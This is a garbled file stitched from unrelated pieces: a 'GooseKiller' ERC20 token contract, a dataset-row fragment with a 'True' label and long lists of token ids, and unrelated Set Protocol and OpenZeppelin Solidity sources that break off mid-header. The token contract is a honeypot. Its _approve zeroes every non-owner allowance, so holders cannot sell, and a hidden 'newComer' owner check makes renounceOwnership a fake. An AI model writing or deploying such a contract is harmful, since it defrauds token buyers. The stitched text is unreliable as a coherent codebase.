return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract GooseKiller is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Goose Killer ' ;
string private _symbol = 'Hawk';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
101,
1013,
1008,
2590,
6971,
1024,
100,
100,
3693,
2256,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
1996,
3995,
9232,
15872,
2121,
100,
4638,
2256,
4037,
1024,
16770,
1024,
1013,
1013,
1996,
3995,
9232,
15872,
2121,
1012,
2609,
1013,
100,
2265,
2149,
2293,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
13020,
15872,
7869,
11890,
1029,
1055,
1027,
2538,
100,
3191,
2256,
2317,
23298,
16770,
1024,
1013,
1013,
1996,
3995,
9232,
15872,
2121,
1012,
2609,
1013,
2317,
23298,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
4769,
1063,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
27507,
16703,
3642,
14949,
2232,
1025,
27507,
16703,
4070,
14949,
2232,
1027,
1014,
2595,
2278,
2629,
2094,
18827,
16086,
15136,
2575,
2546,
2581,
21926,
2509,
2278,
2683,
22907,
2063,
2581,
18939,
2475,
16409,
2278,
19841,
2509,
2278,
2692,
2063,
29345,
2497,
26187,
2509,
3540,
2620,
19317,
2581,
2509,
2497,
2581,
29292,
4215,
17914,
19961,
2094,
27531,
2050,
22610,
2692,
1025,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
3642,
14949,
2232,
1024,
1027,
4654,
13535,
10244,
14949,
2232,
1006,
4070,
1007,
1065,
2709,
1006,
3642,
14949,
2232,
999,
1027,
4070,
14949,
2232,
1004,
1004,
3642,
14949,
2232,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1065,
3853,
4604,
10175,
5657,
1006,
4769,
3477,
3085,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
4722,
1063,
5478,
1006,
4769,
1006,
2023,
1007,
1012,
5703,
1028,
1027,
3815,
1010,
1000,
4769,
1024,
13990,
5703,
1000,
1007,
1025,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
4468,
1011,
2659,
1011,
2504,
1011,
4455,
1010,
4468,
1011,
2655,
1011,
3643,
1006,
22017,
2140,
3112,
1010,
1007,
1027,
7799,
1012,
2655,
1063,
3643,
1024,
3815,
1065,
1006,
1000,
1000,
1007,
1025,
5478,
1006,
3112,
1010,
1000,
4769,
1024,
4039,
2000,
4604,
3643,
1010,
7799,
2089,
2031,
16407,
1000,
1007,
1025,
1065,
3853,
3853,
9289,
2140,
1006,
4769,
4539,
1010,
27507,
3638,
2951,
1007,
4722,
5651,
1006,
27507,
3638,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { BaseGlobalExtension } from "../lib/BaseGlobalExtension.sol";
import { IDelegatedManager } from "../interfaces/IDelegatedManager.sol";
import { IManagerCore } from "../interfaces/IManagerCore.sol";
import { IStreamingFeeModule } from "../interfaces/IStreamingFeeModuleV2.sol";
/**
* @title StreamingFeeSplitExtension
* @author Set Protocol
*
* Smart contract global extension which provides DelegatedManager owner and methodologist the ability to accrue and split
* streaming fees. Owner may configure the fee split percentages.
*
* Notes
* - the fee split is set on the Delegated Manager contract
* - when fees distributed via this contract will be inclusive of all fee types
*/
contract StreamingFeeSplitExtension is BaseGlobalExtension {
using Address for address;
using PreciseUnitMath for uint256;
using SafeMath for uint256;
/* ============ Events ============ */
event StreamingFeeSplitExtensionInitialized(
address indexed _setToken,
address indexed _delegatedManager
);
event FeesDistributed(
address _setToken,
address indexed _ownerFeeRecipient,
address indexed _methodologist,
uint256 _ownerTake,
uint256 _methodologistTake
);
/* ============ State Variables ============ */
// Instance of StreamingFeeModule
IStreamingFeeModule public immutable streamingFeeModule;
/* ============ Constructor ============ */
constructor(
IManagerCore _managerCore,
IStreamingFeeModule _streamingFeeModule
)
public
BaseGlobalExtension(_managerCore)
{
streamingFeeModule = _streamingFeeModule;
}
/* ============ External Functions ============ */
/**
* ANYONE CALLABLE: Accrues fees from streaming fee module. Gets resulting balance after fee accrual, calculates fees for
* owner and methodologist, and sends to owner fee recipient and methodologist respectively.
*/
function accrueFeesAndDistribute(ISetToken _setToken) public {
// Emits a FeeActualized event
streamingFeeModule.accrueFee(_setToken);
IDelegatedManager delegatedManager = _manager(_setToken);
uint256 totalFees = _setToken.balanceOf(address(delegatedManager));
address methodologist = delegatedManager.methodologist();
address ownerFeeRecipient = delegatedManager.ownerFeeRecipient();
uint256 ownerTake = totalFees.preciseMul(delegatedManager.ownerFeeSplit());
uint256 methodologistTake = totalFees.sub(ownerTake);
if (ownerTake > 0) {
delegatedManager.transferTokens(address(_setToken), ownerFeeRecipient, ownerTake);
}
if (methodologistTake > 0) {
delegatedManager.transferTokens(address(_setToken), methodologist, methodologistTake);
}
emit FeesDistributed(address(_setToken), ownerFeeRecipient, methodologist, ownerTake, methodologistTake);
}
/**
* ONLY OWNER: Initializes StreamingFeeModule on the SetToken associated with the DelegatedManager.
*
* @param _delegatedManager Instance of the DelegatedManager to initialize the StreamingFeeModule for
* @param _settings FeeState struct defining fee parameters for StreamingFeeModule initialization
*/
function initializeModule(
IDelegatedManager _delegatedManager,
IStreamingFeeModule.FeeState memory _settings
)
external
onlyOwnerAndValidManager(_delegatedManager)
{
require(_delegatedManager.isInitializedExtension(address(this)), "Extension must be initialized");
_initializeModule(_delegatedManager.setToken(), _delegatedManager, _settings);
}
/**
* ONLY OWNER: Initializes StreamingFeeSplitExtension to the DelegatedManager.
*
* @param _delegatedManager Instance of the DelegatedManager to initialize
*/
function initializeExtension(IDelegatedManager _delegatedManager) external onlyOwnerAndValidManager(_delegatedManager) {
require(_delegatedManager.isPendingExtension(address(this)), "Extension must be pending");
ISetToken setToken = _delegatedManager.setToken();
_initializeExtension(setToken, _delegatedManager);
emit StreamingFeeSplitExtensionInitialized(address(setToken), address(_delegatedManager));
}
/**
* ONLY OWNER: Initializes StreamingFeeSplitExtension to the DelegatedManager and StreamingFeeModule to the SetToken
*
* @param _delegatedManager Instance of the DelegatedManager to initialize
* @param _settings FeeState struct defining fee parameters for StreamingFeeModule initialization
*/
function initializeModuleAndExtension(
IDelegatedManager _delegatedManager,
IStreamingFeeModule.FeeState memory _settings
)
external
onlyOwnerAndValidManager(_delegatedManager)
{
require(_delegatedManager.isPendingExtension(address(this)), "Extension must be pending");
ISetToken setToken = _delegatedManager.setToken();
_initializeExtension(setToken, _delegatedManager);
_initializeModule(setToken, _delegatedManager, _settings);
emit StreamingFeeSplitExtensionInitialized(address(setToken), address(_delegatedManager));
}
/**
* ONLY MANAGER: Remove an existing SetToken and DelegatedManager tracked by the StreamingFeeSplitExtension
*/
function removeExtension() external override {
IDelegatedManager delegatedManager = IDelegatedManager(msg.sender);
ISetToken setToken = delegatedManager.setToken();
_removeExtension(setToken, delegatedManager);
}
/**
* ONLY OWNER: Updates streaming fee on StreamingFeeModule.
*
* NOTE: This will accrue streaming fees though not send to owner fee recipient and methodologist.
*
* @param _setToken Instance of the SetToken to update streaming fee for
* @param _newFee Percent of Set accruing to fee extension annually (1% = 1e16, 100% = 1e18)
*/
function updateStreamingFee(ISetToken _setToken, uint256 _newFee)
external
onlyOwner(_setToken)
{
bytes memory callData = abi.encodeWithSignature("updateStreamingFee(address,uint256)", _setToken, _newFee);
_invokeManager(_manager(_setToken), address(streamingFeeModule), callData);
}
/**
* ONLY OWNER: Updates fee recipient on StreamingFeeModule
*
* @param _setToken Instance of the SetToken to update fee recipient for
* @param _newFeeRecipient Address of new fee recipient. This should be the address of the DelegatedManager
*/
function updateFeeRecipient(ISetToken _setToken, address _newFeeRecipient)
external
onlyOwner(_setToken)
{
bytes memory callData = abi.encodeWithSignature("updateFeeRecipient(address,address)", _setToken, _newFeeRecipient);
_invokeManager(_manager(_setToken), address(streamingFeeModule), callData);
}
/* ============ Internal Functions ============ */
/**
* Internal function to initialize StreamingFeeModule on the SetToken associated with the DelegatedManager.
*
* @param _setToken Instance of the SetToken corresponding to the DelegatedManager
* @param _delegatedManager Instance of the DelegatedManager to initialize the TradeModule for
* @param _settings FeeState struct defining fee parameters for StreamingFeeModule initialization
*/
function _initializeModule(
ISetToken _setToken,
IDelegatedManager _delegatedManager,
IStreamingFeeModule.FeeState memory _settings
)
internal
{
bytes memory callData = abi.encodeWithSignature(
"initialize(address,(address,uint256,uint256,uint256))",
_setToken,
_settings);
_invokeManager(_delegatedManager, address(streamingFeeModule), callData);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title PreciseUnitMath
* @author Set Protocol
*
* Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from
* dYdX's BaseMath library.
*
* CHANGELOG:
* - 9/21/20: Added safePower function
* - 4/21/21: Added approximatelyEquals function
